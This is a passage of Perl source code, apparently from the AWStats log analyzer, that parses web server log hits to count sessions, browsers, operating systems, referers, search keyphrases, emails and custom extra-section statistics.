                                                debug(
12072
 
"  New session (may be) for $HostResolved. Save in wait array to see later",
12073
 
                                                        4
12074
 
                                                );
12075
 
                                        }
12076
 
                                        $_waithost_e{$HostResolved} = $field[$pos_url];
12077
 
 
12078
 
                                        # Save new session properties
12079
 
                                        $_host_u{$HostResolved} = $field[$pos_url];
12080
 
                                        $_host_s{$HostResolved} = $timerecord;
12081
 
                                        $_host_l{$HostResolved} = $timerecord;
12082
 
                                }
12083
 
                                $_host_p{$HostResolved}++;
12084
 
                        }
12085
 
                        $_host_h{$HostResolved}++;
12086
 
                        if ( $field[$pos_size] ne '-' ) {
12087
 
                                $_host_k{$HostResolved} += int( $field[$pos_size] );
12088
 
                        }
12089
 
 
12090
 
                        # Analyze: Browser - OS
12091
 
                        #----------------------
12092
 
                        if ( $pos_agent >= 0 ) {
12093
 
 
12094
 
                                if ($LevelForBrowsersDetection) {
12095
 
 
12096
 
                                        # Analyze: Browser
12097
 
                                        #-----------------
12098
 
                                        my $uabrowser = $TmpBrowser{$UserAgent};
12099
 
                                        if ( !$uabrowser ) {
12100
 
                                                my $found = 1;
12101
 
 
12102
 
                                                # Firefox ?
12103
 
                                                if (   $UserAgent =~ /$regverfirefox/o
12104
 
                                                        && $UserAgent !~ /$regnotfirefox/o )
12105
 
                                                {
12106
 
                                                        $_browser_h{"firefox$1"}++;
12107
 
                                                        $TmpBrowser{$UserAgent} = "firefox$1";
12108
 
                                                }
12109
 
 
12110
 
                                                # Opera ?
12111
 
                                                elsif ( $UserAgent =~ /$regveropera/o ) {
12112
 
                                                        $_browser_h{"opera$1"}++;
12113
 
                                                        $TmpBrowser{$UserAgent} = "opera$1";
12114
 
                                                }
12115
 
 
12116
 
                                                # Chrome ?
12117
 
                                                elsif ( $UserAgent =~ /$regverchrome/o ) {
12118
 
                                                        $_browser_h{"chrome$1"}++;
12119
 
                                                        $TmpBrowser{$UserAgent} = "chrome$1";
12120
 
                                                }
12121
 
 
12122
 
                                                # Safari ?
12123
 
                                                elsif ($UserAgent =~ /$regversafari/o
12124
 
                                                        && $UserAgent !~ /$regnotsafari/o )
12125
 
                                                {
12126
 
                                                        my $safariver = $SafariBuildToVersion{$1};
12127
 
                                                        if ( $UserAgent =~ /$regversafariver/o ) {
12128
 
                                                                $safariver = $1;
12129
 
                                                        }
12130
 
                                                        $_browser_h{"safari$safariver"}++;
12131
 
                                                        $TmpBrowser{$UserAgent} = "safari$safariver";
12132
 
                                                }
12133
 
 
12134
 
                                                # Konqueror ?
12135
 
                                                elsif ( $UserAgent =~ /$regverkonqueror/o ) {
12136
 
                                                        $_browser_h{"konqueror$1"}++;
12137
 
                                                        $TmpBrowser{$UserAgent} = "konqueror$1";
12138
 
                                                }
12139
 
 
12140
 
                                                # Subversion ?
12141
 
                                                elsif ( $UserAgent =~ /$regversvn/o ) {
12142
 
                                                        $_browser_h{"svn$1"}++;
12143
 
                                                        $TmpBrowser{$UserAgent} = "svn$1";
12144
 
                                                }
12145
 
 
12146
 
                                                # IE ? (must be at end of test)
12147
 
                                                elsif ($UserAgent =~ /$regvermsie/o
12148
 
                                                        && $UserAgent !~ /$regnotie/o )
12149
 
                                                {
12150
 
                                                        $_browser_h{"msie$2"}++;
12151
 
                                                        $TmpBrowser{$UserAgent} = "msie$2";
12152
 
                                                }
12153
 
 
12154
 
                                                # Netscape 6.x, 7.x ... ? (must be at end of test)
12155
 
                                                elsif ( $UserAgent =~ /$regvernetscape/o ) {
12156
 
                                                        $_browser_h{"netscape$1"}++;
12157
 
                                                        $TmpBrowser{$UserAgent} = "netscape$1";
12158
 
                                                }
12159
 
 
12160
 
                                                # Netscape 3.x, 4.x ... ? (must be at end of test)
12161
 
                                                elsif ($UserAgent =~ /$regvermozilla/o
12162
 
                                                        && $UserAgent !~ /$regnotnetscape/o )
12163
 
                                                {
12164
 
                                                        $_browser_h{"netscape$2"}++;
12165
 
                                                        $TmpBrowser{$UserAgent} = "netscape$2";
12166
 
                                                }
12167
 
 
12168
 
                                                # Other known browsers ?
12169
 
                                                else {
12170
 
                                                        $found = 0;
12171
 
                                                        foreach (@BrowsersSearchIDOrder)
12172
 
                                                        {    # Search ID in order of BrowsersSearchIDOrder
12173
 
                                                                if ( $UserAgent =~ /$_/ ) {
12174
 
                                                                        my $browser = &UnCompileRegex($_);
12175
 
 
12176
 
                                                                   # TODO If browser is in a family, use version
12177
 
                                                                        $_browser_h{"$browser"}++;
12178
 
                                                                        $TmpBrowser{$UserAgent} = "$browser";
12179
 
                                                                        $found = 1;
12180
 
                                                                        last;
12181
 
                                                                }
12182
 
                                                        }
12183
 
                                                }
12184
 
 
12185
 
                                                # Unknown browser ?
12186
 
                                                if ( !$found ) {
12187
 
                                                        $_browser_h{'Unknown'}++;
12188
 
                                                        $TmpBrowser{$UserAgent} = 'Unknown';
12189
 
                                                        my $newua = $UserAgent;
12190
 
                                                        $newua =~ tr/\+ /__/;
12191
 
                                                        $_unknownrefererbrowser_l{$newua} = $timerecord;
12192
 
                                                }
12193
 
                                        }
12194
 
                                        else {
12195
 
                                                $_browser_h{$uabrowser}++;
12196
 
                                                if ( $uabrowser eq 'Unknown' ) {
12197
 
                                                        my $newua = $UserAgent;
12198
 
                                                        $newua =~ tr/\+ /__/;
12199
 
                                                        $_unknownrefererbrowser_l{$newua} = $timerecord;
12200
 
                                                }
12201
 
                                        }
12202
 
 
12203
 
                                }
12204
 
 
12205
 
                                if ($LevelForOSDetection) {
12206
 
 
12207
 
                                        # Analyze: OS
12208
 
                                        #------------
12209
 
                                        my $uaos = $TmpOS{$UserAgent};
12210
 
                                        if ( !$uaos ) {
12211
 
                                                my $found = 0;
12212
 
 
12213
 
                                                # in OSHashID list ?
12214
 
                                                foreach (@OSSearchIDOrder)
12215
 
                                                {    # Search ID in order of OSSearchIDOrder
12216
 
                                                        if ( $UserAgent =~ /$_/ ) {
12217
 
                                                                my $osid = $OSHashID{ &UnCompileRegex($_) };
12218
 
                                                                $_os_h{"$osid"}++;
12219
 
                                                                $TmpOS{$UserAgent} = "$osid";
12220
 
                                                                $found = 1;
12221
 
                                                                last;
12222
 
                                                        }
12223
 
                                                }
12224
 
 
12225
 
                                                # Unknown OS ?
12226
 
                                                if ( !$found ) {
12227
 
                                                        $_os_h{'Unknown'}++;
12228
 
                                                        $TmpOS{$UserAgent} = 'Unknown';
12229
 
                                                        my $newua = $UserAgent;
12230
 
                                                        $newua =~ tr/\+ /__/;
12231
 
                                                        $_unknownreferer_l{$newua} = $timerecord;
12232
 
                                                }
12233
 
                                        }
12234
 
                                        else {
12235
 
                                                $_os_h{$uaos}++;
12236
 
                                                if ( $uaos eq 'Unknown' ) {
12237
 
                                                        my $newua = $UserAgent;
12238
 
                                                        $newua =~ tr/\+ /__/;
12239
 
                                                        $_unknownreferer_l{$newua} = $timerecord;
12240
 
                                                }
12241
 
                                        }
12242
 
 
12243
 
                                }
12244
 
 
12245
 
                        }
12246
 
                        else {
12247
 
                                $_browser_h{'Unknown'}++;
12248
 
                                $_os_h{'Unknown'}++;
12249
 
                        }
12250
 
 
12251
 
                        # Analyze: Referer
12252
 
                        #-----------------
12253
 
                        my $found = 0;
12254
 
                        if (   $pos_referer >= 0
12255
 
                                && $LevelForRefererAnalyze
12256
 
                                && $field[$pos_referer] )
12257
 
                        {
12258
 
 
12259
 
                                # Direct ?
12260
 
                                if (   $field[$pos_referer] eq '-'
12261
 
                                        || $field[$pos_referer] eq 'bookmarks' )
12262
 
                                {  # "bookmarks" is sent by Netscape, '-' by all others browsers
12263
 
                                            # Direct access
12264
 
                                        if ($PageBool) {
12265
 
                                                if ($ShowDirectOrigin) {
12266
 
                                                        print "Direct access for line $line\n";
12267
 
                                                }
12268
 
                                                $_from_p[0]++;
12269
 
                                        }
12270
 
                                        $_from_h[0]++;
12271
 
                                        $found = 1;
12272
 
                                }
12273
 
                                else {
12274
 
                                        $field[$pos_referer] =~ /$regreferer/o;
12275
 
                                        my $refererprot   = $1;
12276
 
                                        my $refererserver =
12277
 
                                            ( $2 || '' )
12278
 
                                          . ( !$3 || $3 eq ':80' ? '' : $3 )
12279
 
                                          ; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
12280
 
                                            # HTML link ?
12281
 
                                        if ( $refererprot =~ /^http/i ) {
12282
 
 
12283
 
#if ($Debug) { debug("  Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
12284
 
 
12285
 
                                                # Kind of origin
12286
 
                                                if ( !$TmpRefererServer{$refererserver} )
12287
 
                                                { # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise
12288
 
                                                        if ( $refererserver =~ /$reglocal/o ) {
12289
 
 
12290
 
                                                  # Intern (This hit came from another page of the site)
12291
 
                                                                if ($Debug) {
12292
 
                                                                        debug(
12293
 
"  Server '$refererserver' is added to TmpRefererServer with value '='",
12294
 
                                                                                2
12295
 
                                                                        );
12296
 
                                                                }
12297
 
                                                                $TmpRefererServer{$refererserver} = '=';
12298
 
                                                                $found = 1;
12299
 
                                                        }
12300
 
                                                        else {
12301
 
                                                                foreach (@HostAliases) {
12302
 
                                                                        if ( $refererserver =~ /$_/ ) {
12303
 
 
12304
 
                                                  # Intern (This hit came from another page of the site)
12305
 
                                                                                if ($Debug) {
12306
 
                                                                                        debug(
12307
 
"  Server '$refererserver' is added to TmpRefererServer with value '='",
12308
 
                                                                                                2
12309
 
                                                                                        );
12310
 
                                                                                }
12311
 
                                                                                $TmpRefererServer{$refererserver} = '=';
12312
 
                                                                                $found = 1;
12313
 
                                                                                last;
12314
 
                                                                        }
12315
 
                                                                }
12316
 
                                                                if ( !$found ) {
12317
 
 
12318
 
                                                         # Extern (This hit came from an external web site).
12319
 
 
12320
 
                                                                        if ($LevelForSearchEnginesDetection) {
12321
 
 
12322
 
                                                                                foreach (@SearchEnginesSearchIDOrder)
12323
 
                                                                                { # Search ID in order of SearchEnginesSearchIDOrder
12324
 
                                                                                        if ( $refererserver =~ /$_/ ) {
12325
 
                                                                                                my $key = &UnCompileRegex($_);
12326
 
                                                                                                if (
12327
 
                                                                                                        !$NotSearchEnginesKeys{$key}
12328
 
                                                                                                        || $refererserver !~
12329
 
/$NotSearchEnginesKeys{$key}/i
12330
 
                                                                                                  )
12331
 
                                                                                                {
12332
 
 
12333
 
                                                                         # This hit came from the search engine $key
12334
 
                                                                                                        if ($Debug) {
12335
 
                                                                                                                debug(
12336
 
"  Server '$refererserver' is added to TmpRefererServer with value '$key'",
12337
 
                                                                                                                        2
12338
 
                                                                                                                );
12339
 
                                                                                                        }
12340
 
                                                                                                        $TmpRefererServer{
12341
 
                                                                                                                $refererserver} =
12342
 
                                                                                                          $SearchEnginesHashID{ $key
12343
 
                                                                                                          };
12344
 
                                                                                                        $found = 1;
12345
 
                                                                                                }
12346
 
                                                                                                last;
12347
 
                                                                                        }
12348
 
                                                                                }
12349
 
 
12350
 
                                                                        }
12351
 
                                                                }
12352
 
                                                        }
12353
 
                                                }
12354
 
 
12355
 
                                                my $tmprefererserver =
12356
 
                                                  $TmpRefererServer{$refererserver};
12357
 
                                                if ($tmprefererserver) {
12358
 
                                                        if ( $tmprefererserver eq '=' ) {
12359
 
 
12360
 
                                                  # Intern (This hit came from another page of the site)
12361
 
                                                                if ($PageBool) { $_from_p[4]++; }
12362
 
                                                                $_from_h[4]++;
12363
 
                                                                $found = 1;
12364
 
                                                        }
12365
 
                                                        else {
12366
 
 
12367
 
                                                                # This hit came from a search engine
12368
 
                                                                if ($PageBool) {
12369
 
                                                                        $_from_p[2]++;
12370
 
                                                                        $_se_referrals_p{$tmprefererserver}++;
12371
 
                                                                }
12372
 
                                                                $_from_h[2]++;
12373
 
                                                                $_se_referrals_h{$tmprefererserver}++;
12374
 
                                                                $found = 1;
12375
 
                                                                if ( $PageBool && $LevelForKeywordsDetection ) {
12376
 
 
12377
 
                                                                        # we will complete %_keyphrases hash array
12378
 
                                                                        my @refurl =
12379
 
                                                                          split( /\?/, $field[$pos_referer], 2 )
12380
 
                                                                          ; # TODO Use \? or [$URLQuerySeparators] ?
12381
 
                                                                        if ( $refurl[1] ) {
12382
 
 
12383
 
# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
12384
 
                                                                                if (
12385
 
                                                                                        $SearchEnginesKnownUrl{
12386
 
                                                                                                $tmprefererserver} )
12387
 
                                                                                {  # Search engine with known URL syntax
12388
 
                                                                                        foreach my $param (
12389
 
                                                                                                split(
12390
 
                                                                                                        /&/,
12391
 
                                                                                                        $KeyWordsNotSensitive
12392
 
                                                                                                        ? lc( $refurl[1] )
12393
 
                                                                                                        : $refurl[1]
12394
 
                                                                                                )
12395
 
                                                                                          )
12396
 
                                                                                        {
12397
 
                                                                                                if ( $param =~
12398
 
s/^$SearchEnginesKnownUrl{$tmprefererserver}//
12399
 
                                                                                                  )
12400
 
                                                                                                {
12401
 
 
12402
 
         # We found good parameter
12403
 
         # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
12404
 
                                                                                                        $param =~
12405
 
s/^(cache|related):[^\+]+//
12406
 
                                                                                                          ; # Should be useless since this is for hit on 'not pages'
12407
 
                                                                                                        &ChangeWordSeparatorsIntoSpace
12408
 
                                                                                                          ($param)
12409
 
                                                                                                          ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
12410
 
                                                                                                        $param =~ s/^ +//;
12411
 
                                                                                                        $param =~ s/ +$//;    # Trim
12412
 
                                                                                                        $param =~ tr/ /\+/s;
12413
 
                                                                                                        if ( ( length $param ) > 0 )
12414
 
                                                                                                        {
12415
 
                                                                                                                $_keyphrases{$param}++;
12416
 
                                                                                                        }
12417
 
                                                                                                        last;
12418
 
                                                                                                }
12419
 
                                                                                        }
12420
 
                                                                                }
12421
 
                                                                                elsif (
12422
 
                                                                                        $LevelForKeywordsDetection >= 2 )
12423
 
                                                                                { # Search engine with unknown URL syntax
12424
 
                                                                                        foreach my $param (
12425
 
                                                                                                split(
12426
 
                                                                                                        /&/,
12427
 
                                                                                                        $KeyWordsNotSensitive
12428
 
                                                                                                        ? lc( $refurl[1] )
12429
 
                                                                                                        : $refurl[1]
12430
 
                                                                                                )
12431
 
                                                                                          )
12432
 
                                                                                        {
12433
 
                                                                                                my $foundexcludeparam = 0;
12434
 
                                                                                                foreach my $paramtoexclude (
12435
 
                                                                                                        @WordsToCleanSearchUrl)
12436
 
                                                                                                {
12437
 
                                                                                                        if ( $param =~
12438
 
                                                                                                                /$paramtoexclude/i )
12439
 
                                                                                                        {
12440
 
                                                                                                                $foundexcludeparam = 1;
12441
 
                                                                                                                last;
12442
 
                                                                                                        } # Not the param with search criteria
12443
 
                                                                                                }
12444
 
                                                                                                if ($foundexcludeparam) {
12445
 
                                                                                                        next;
12446
 
                                                                                                }
12447
 
 
12448
 
                                                                                                # We found good parameter
12449
 
                                                                                                $param =~ s/.*=//;
12450
 
 
12451
 
                                           # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
12452
 
                                                                                                $param =~
12453
 
                                                                                                  s/^(cache|related):[^\+]+//
12454
 
                                                                                                  ; # Should be useless since this is for hit on 'not pages'
12455
 
                                                                                                &ChangeWordSeparatorsIntoSpace(
12456
 
                                                                                                        $param)
12457
 
                                                                                                  ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
12458
 
                                                                                                $param =~ s/^ +//;
12459
 
                                                                                                $param =~ s/ +$//;     # Trim
12460
 
                                                                                                $param =~ tr/ /\+/s;
12461
 
                                                                                                if ( ( length $param ) > 2 ) {
12462
 
                                                                                                        $_keyphrases{$param}++;
12463
 
                                                                                                        last;
12464
 
                                                                                                }
12465
 
                                                                                        }
12466
 
                                                                                }
12467
 
                                                                        }    # End of elsif refurl[1]
12468
 
                                                                        elsif (
12469
 
                                                                                $SearchEnginesWithKeysNotInQuery{
12470
 
                                                                                        $tmprefererserver} )
12471
 
                                                                        {
12472
 
 
12473
 
#                                                                               debug("xxx".$refurl[0]);
12474
 
# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
12475
 
                                                                                if ( $refurl[0] =~
12476
 
/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/
12477
 
                                                                                  )
12478
 
                                                                                {
12479
 
                                                                                        my $param = $1;
12480
 
                                                                                        &ChangeWordSeparatorsIntoSpace(
12481
 
                                                                                                $param);
12482
 
                                                                                        $param =~ tr/ /\+/s;
12483
 
                                                                                        if ( ( length $param ) > 0 ) {
12484
 
                                                                                                $_keyphrases{$param}++;
12485
 
                                                                                        }
12486
 
                                                                                }
12487
 
                                                                        }
12488
 
 
12489
 
                                                                }
12490
 
                                                        }
12491
 
                                                }    # End of if ($TmpRefererServer)
12492
 
                                                else {
12493
 
 
12494
 
                                                  # This hit came from a site other than a search engine
12495
 
                                                        if ($PageBool) { $_from_p[3]++; }
12496
 
                                                        $_from_h[3]++;
12497
 
 
12498
 
# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
12499
 
#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; }   # Code moved in Save_History
12500
 
# TODO: lowercase the value for referer server to have refering server not case sensitive
12501
 
                                                        if ($URLReferrerWithQuery) {
12502
 
                                                                if ($PageBool) {
12503
 
                                                                        $_pagesrefs_p{ $field[$pos_referer] }++;
12504
 
                                                                }
12505
 
                                                                $_pagesrefs_h{ $field[$pos_referer] }++;
12506
 
                                                        }
12507
 
                                                        else {
12508
 
 
12509
 
                                                                # We discard query for referer
12510
 
                                                                if ( $field[$pos_referer] =~
12511
 
                                                                        /$regreferernoquery/o )
12512
 
                                                                {
12513
 
                                                                        if ($PageBool) { $_pagesrefs_p{"$1"}++; }
12514
 
                                                                        $_pagesrefs_h{"$1"}++;
12515
 
                                                                }
12516
 
                                                                else {
12517
 
                                                                        if ($PageBool) {
12518
 
                                                                                $_pagesrefs_p{ $field[$pos_referer] }++;
12519
 
                                                                        }
12520
 
                                                                        $_pagesrefs_h{ $field[$pos_referer] }++;
12521
 
                                                                }
12522
 
                                                        }
12523
 
                                                        $found = 1;
12524
 
                                                }
12525
 
                                        }
12526
 
 
12527
 
                                        # News Link ?
12528
 
                                        #if (! $found && $refererprot =~ /^news/i) {
12529
 
                                        #       $found=1;
12530
 
                                        #       if ($PageBool) { $_from_p[5]++; }
12531
 
                                        #       $_from_h[5]++;
12532
 
                                        #}
12533
 
                                }
12534
 
                        }
12535
 
 
12536
 
                        # Origin not found
12537
 
                        if ( !$found ) {
12538
 
                                if ($ShowUnknownOrigin) {
12539
 
                                        print "Unknown origin: $field[$pos_referer]\n";
12540
 
                                }
12541
 
                                if ($PageBool) { $_from_p[1]++; }
12542
 
                                $_from_h[1]++;
12543
 
                        }
12544
 
 
12545
 
                        # Analyze: EMail
12546
 
                        #---------------
12547
 
                        if ( $pos_emails >= 0 && $field[$pos_emails] ) {
12548
 
                                if ( $field[$pos_emails] eq '<>' ) {
12549
 
                                        $field[$pos_emails] = 'Unknown';
12550
 
                                }
12551
 
                                elsif ( $field[$pos_emails] !~ /\@/ ) {
12552
 
                                        $field[$pos_emails] .= "\@$SiteDomain";
12553
 
                                }
12554
 
                                $_emails_h{ lc( $field[$pos_emails] ) }
12555
 
                                  ++;    #Count accesses for sender email (hit)
12556
 
                                $_emails_k{ lc( $field[$pos_emails] ) } +=
12557
 
                                  int( $field[$pos_size] )
12558
 
                                  ;      #Count accesses for sender email (kb)
12559
 
                                $_emails_l{ lc( $field[$pos_emails] ) } = $timerecord;
12560
 
                        }
12561
 
                        if ( $pos_emailr >= 0 && $field[$pos_emailr] ) {
12562
 
                                if ( $field[$pos_emailr] !~ /\@/ ) {
12563
 
                                        $field[$pos_emailr] .= "\@$SiteDomain";
12564
 
                                }
12565
 
                                $_emailr_h{ lc( $field[$pos_emailr] ) }
12566
 
                                  ++;    #Count accesses for receiver email (hit)
12567
 
                                $_emailr_k{ lc( $field[$pos_emailr] ) } +=
12568
 
                                  int( $field[$pos_size] )
12569
 
                                  ;      #Count accesses for receiver email (kb)
12570
 
                                $_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord;
12571
 
                        }
12572
 
                }
12573
 
 
12574
 
                # Check cluster
12575
 
                #--------------
12576
 
                if ( $pos_cluster >= 0 ) {
12577
 
                        if ($PageBool) {
12578
 
                                $_cluster_p{ $field[$pos_cluster] }++;
12579
 
                        }    #Count accesses for page (page)
12580
 
                        $_cluster_h{ $field[$pos_cluster] }
12581
 
                          ++;    #Count accesses for page (hit)
12582
 
                        $_cluster_k{ $field[$pos_cluster] } +=
12583
 
                          int( $field[$pos_size] );    #Count accesses for page (kb)
12584
 
                }
12585
 
 
12586
 
                # Analyze: Extra
12587
 
                #---------------
12588
 
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
12589
 
                        if ($Debug) { debug( "  Process extra analyze $extranum", 4 ); }
12590
 
 
12591
 
                        # Check code
12592
 
                        my $conditionok = 0;
12593
 
                        if ( $ExtraCodeFilter[$extranum] ) {
12594
 
                                foreach
12595
 
                                  my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 )
12596
 
                                {
12597
 
                                        if ($Debug) {
12598
 
                                                debug(
12599
 
"  Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",
12600
 
                                                        5
12601
 
                                                );
12602
 
                                        }
12603
 
                                        if ( $field[$pos_code] eq
12604
 
                                                "$ExtraCodeFilter[$extranum][$condnum]" )
12605
 
                                        {
12606
 
                                                $conditionok = 1;
12607
 
                                                last;
12608
 
                                        }
12609
 
                                }
12610
 
                                if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) {
12611
 
                                        next;
12612
 
                                }    # End for this section
12613
 
                                if ($Debug) {
12614
 
                                        debug(
12615
 
"  No check on code or code is OK. Now we check other conditions.",
12616
 
                                                5
12617
 
                                        );
12618
 
                                }
12619
 
                        }
12620
 
 
12621
 
                        # Check conditions
12622
 
                        $conditionok = 0;
12623
 
                        foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 )
12624
 
                        {
12625
 
                                my $conditiontype    = $ExtraConditionType[$extranum][$condnum];
12626
 
                                my $conditiontypeval =
12627
 
                                  $ExtraConditionTypeVal[$extranum][$condnum];
12628
 
                                if ( $conditiontype eq 'URL' ) {
12629
 
                                        if ($Debug) {
12630
 
                                                debug(
12631
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",
12632
 
                                                        5
12633
 
                                                );
12634
 
                                        }
12635
 
                                        if ( $urlwithnoquery =~ /$conditiontypeval/ ) {
12636
 
                                                $conditionok = 1;
12637
 
                                                last;
12638
 
                                        }
12639
 
                                }
12640
 
                                elsif ( $conditiontype eq 'QUERY_STRING' ) {
12641
 
                                        if ($Debug) {
12642
 
                                                debug(
12643
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",
12644
 
                                                        5
12645
 
                                                );
12646
 
                                        }
12647
 
                                        if ( $standalonequery =~ /$conditiontypeval/ ) {
12648
 
                                                $conditionok = 1;
12649
 
                                                last;
12650
 
                                        }
12651
 
                                }
12652
 
                                elsif ( $conditiontype eq 'URLWITHQUERY' ) {
12653
 
                                        if ($Debug) {
12654
 
                                                debug(
12655
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",
12656
 
                                                        5
12657
 
                                                );
12658
 
                                        }
12659
 
                                        if ( "$urlwithnoquery$tokenquery$standalonequery" =~
12660
 
                                                /$conditiontypeval/ )
12661
 
                                        {
12662
 
                                                $conditionok = 1;
12663
 
                                                last;
12664
 
                                        }
12665
 
                                }
12666
 
                                elsif ( $conditiontype eq 'REFERER' ) {
12667
 
                                        if ($Debug) {
12668
 
                                                debug(
12669
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",
12670
 
                                                        5
12671
 
                                                );
12672
 
                                        }
12673
 
                                        if ( $field[$pos_referer] =~ /$conditiontypeval/ ) {
12674
 
                                                $conditionok = 1;
12675
 
                                                last;
12676
 
                                        }
12677
 
                                }
12678
 
                                elsif ( $conditiontype eq 'UA' ) {
12679
 
                                        if ($Debug) {
12680
 
                                                debug(
12681
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",
12682
 
                                                        5
12683
 
                                                );
12684
 
                                        }
12685
 
                                        if ( $field[$pos_agent] =~ /$conditiontypeval/ ) {
12686
 
                                                $conditionok = 1;
12687
 
                                                last;
12688
 
                                        }
12689
 
                                }
12690
 
                                elsif ( $conditiontype eq 'HOSTINLOG' ) {
12691
 
                                        if ($Debug) {
12692
 
                                                debug(
12693
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",
12694
 
                                                        5
12695
 
                                                );
12696
 
                                        }
12697
 
                                        if ( $field[$pos_host] =~ /$conditiontypeval/ ) {
12698
 
                                                $conditionok = 1;
12699
 
                                                last;
12700
 
                                        }
12701
 
                                }
12702
 
                                elsif ( $conditiontype eq 'HOST' ) {
12703
 
                                        my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
12704
 
                                        if ($Debug) {
12705
 
                                                debug(
12706
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'",
12707
 
                                                        5
12708
 
                                                );
12709
 
                                        }
12710
 
                                        if ( $hosttouse =~ /$conditiontypeval/ ) {
12711
 
                                                $conditionok = 1;
12712
 
                                                last;
12713
 
                                        }
12714
 
                                }
12715
 
                                elsif ( $conditiontype eq 'VHOST' ) {
12716
 
                                        if ($Debug) {
12717
 
                                                debug(
12718
 
"  Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",
12719
 
                                                        5
12720
 
                                                );
12721
 
                                        }
12722
 
                                        if ( $field[$pos_vh] =~ /$conditiontypeval/ ) {
12723
 
                                                $conditionok = 1;
12724
 
                                                last;
12725
 
                                        }
12726
 
                                }
12727
 
                                elsif ( $conditiontype =~ /extra(\d+)/i ) {
12728
 
                                        if ($Debug) {
12729
 
                                                debug(
12730
 
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",
12731
 
                                                        5
12732
 
                                                );
12733
 
                                        }
12734
 
                                        if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) {
12735
 
                                                $conditionok = 1;
12736
 
                                                last;
12737
 
                                        }
12738
 
                                }
12739
 
                                else {
12740
 
                                        error(
12741
 
"Wrong value of parameter ExtraSectionCondition$extranum"
12742
 
                                        );
12743
 
                                }
12744
 
                        }
12745
 
                        if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) {
12746
 
                                next;
12747
 
                        }    # End for this section
12748
 
                        if ($Debug) {
12749
 
                                debug(
12750
 
"  No condition or condition is OK. Now we extract value for first column of extra chart.",
12751
 
                                        5
12752
 
                                );
12753
 
                        }
12754
 
 
12755
 
                        # Determine actual column value to use.
12756
 
                        my $rowkeyval;
12757
 
                        my $rowkeyok = 0;
12758
 
                        foreach my $rowkeynum (
12759
 
                                0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
12760
 
                        {
12761
 
                                my $rowkeytype =
12762
 
                                  $ExtraFirstColumnValuesType[$extranum][$rowkeynum];
12763
 
                                my $rowkeytypeval =
12764
 
                                  $ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
12765
 
                                if ( $rowkeytype eq 'URL' ) {
12766
 
                                        if ( $urlwithnoquery =~ /$rowkeytypeval/ ) {
12767
 
                                                $rowkeyval = "$1";
12768
 
                                                $rowkeyok  = 1;
12769
 
                                                last;
12770
 
                                        }
12771
 
                                }
12772
 
                                elsif ( $rowkeytype eq 'QUERY_STRING' ) {
12773
 
                                        if ($Debug) {
12774
 
                                                debug(
12775
 
"  Extract value from '$standalonequery' with regex '$rowkeytypeval'.",
12776
 
                                                        5
12777
 
                                                );
12778
 
                                        }
12779
 
                                        if ( $standalonequery =~ /$rowkeytypeval/ ) {
12780
 
                                                $rowkeyval = "$1";
12781
 
                                                $rowkeyok  = 1;
12782
 
                                                last;
12783
 
                                        }
12784
 
                                }
12785
 
                                elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
12786
 
                                        if ( "$urlwithnoquery$tokenquery$standalonequery" =~
12787
 
                                                /$rowkeytypeval/ )
12788
 
                                        {
12789
 
                                                $rowkeyval = "$1";
12790
 
                                                $rowkeyok  = 1;
12791
 
                                                last;
12792
 
                                        }
12793
 
                                }
12794
 
                                elsif ( $rowkeytype eq 'REFERER' ) {
12795
 
                                        if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) {
12796
 
                                                $rowkeyval = "$1";
12797
 
                                                $rowkeyok  = 1;
12798
 
                                                last;
12799
 
                                        }
12800
 
                                }
12801
 
                                elsif ( $rowkeytype eq 'UA' ) {
12802
 
                                        if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) {
12803
 
                                                $rowkeyval = "$1";
12804
 
                                                $rowkeyok  = 1;
12805
 
                                                last;
12806
 
                                        }
12807
 
                                }
12808
 
                                elsif ( $rowkeytype eq 'HOSTINLOG' ) {
12809
 
                                        if ( $field[$pos_host] =~ /$rowkeytypeval/ ) {
12810
 
                                                $rowkeyval = "$1";
12811
 
                                                $rowkeyok  = 1;
12812
 
                                                last;
12813
 
                                        }
12814
 
                                }
12815
 
                                elsif ( $rowkeytype eq 'HOST' ) {
12816
 
